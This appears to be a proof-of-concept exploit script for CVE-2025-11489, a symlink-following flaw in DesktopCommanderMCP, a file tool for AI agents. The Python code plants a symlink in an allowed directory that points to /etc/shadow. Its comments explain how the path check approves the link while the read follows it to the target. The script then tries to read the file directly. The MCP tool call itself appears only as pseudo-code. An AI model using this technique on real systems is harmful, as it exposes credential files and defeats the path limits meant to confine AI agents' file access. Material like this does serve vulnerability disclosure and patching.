CVE-2025-11489 DesktopCommanderMCP符号链接跟随漏洞

# CVE-2025-11489 - DesktopCommanderMCP Symlink Following PoC # This PoC demonstrates how to bypass path restrictions via symlink import os import subprocess # Step 1: Create a symlink in an allowed directory pointing to a restricted target allowed_dir = "/tmp/allowed" # Directory permitted by isPathAllowed restricted_target = "/etc/shadow" # Restricted file we want to access symlink_path = os.path.join(allowed_dir, "innocent_link") # Create the allowed directory if it doesn't exist os.makedirs(allowed_dir, exist_ok=True) # Create a symbolic link if os.path.exists(symlink_path): os.remove(symlink_path) os.symlink(restricted_target, symlink_path) print(f"[+] Created symlink: {symlink_path} -> {restricted_target}") # Step 2: Use DesktopCommanderMCP's file operation via the symlink # When DesktopCommanderMCP processes a read_file request through the symlink, # isPathAllowed checks the symlink path (in allowed dir) and approves it. # The actual file read follows the symlink to the restricted target. # Simulate the MCP tool call (pseudo-code): # mcp_client.call_tool("read_file", {"path": symlink_path}) # isPathAllowed(symlink_path) -> True (path is in allowed_dir) # Actual read follows symlink -> reads /etc/shadow content print(f"[+] Requesting file read through symlink: {symlink_path}") print("[+] isPathAllowed will approve the symlink path") print("[+] Actual file access follows symlink to restricted target") # Step 3: Demonstrate the bypass try: with open(symlink_path, 'r') as f: content = f.read() print(f"[+] Successfully read restricted file content (first 100 chars): {content[:100]}") except PermissionError: print("[-] Direct read blocked, but MCP tool call would succeed via symlink bypass") # Step 4: Cleanup os.remove(symlink_path) print("[+] Cleanup complete")